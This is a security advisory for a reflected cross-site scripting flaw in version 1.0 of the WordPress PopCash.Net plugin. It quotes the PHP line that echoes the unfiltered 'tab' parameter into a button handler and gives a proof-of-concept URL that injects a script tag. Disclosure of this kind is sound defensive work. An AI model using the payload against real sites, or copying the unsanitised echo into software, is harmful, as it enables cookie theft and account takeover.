WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting

Class  Input Validation Error
Remote  Yes
Reflected Yes

Credit  Ricardo Sanchez
Vulnerable PopCash.Net Publisher Code Integration plugin 1.0

PopCash.Net Publisher Code Integration plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the "tab" value is not filter correcly:
<div class="row">
<div class="col-md-4 pull-left" style="margin-bottom:15px;"><input
type="button" onclick="location.href='admin.php?page=popcash-net&tab=<?php
echo $_GET['tab'] ?>&d_status=switch';" value="<?php echo
(get_option('popcash_net_disabled') == 1 ? 'Enable PopUnder Code' :
'Disable PopUnder Code'); ?>" class="button-secondary" /></div>
<div class="col-md-4 col-xs-8 col-md-offset-0 col-xs-offset-2"><?php
echo pcit_code_disabled(); ?></div>
</div>


Demo url:*http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
<http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E>*

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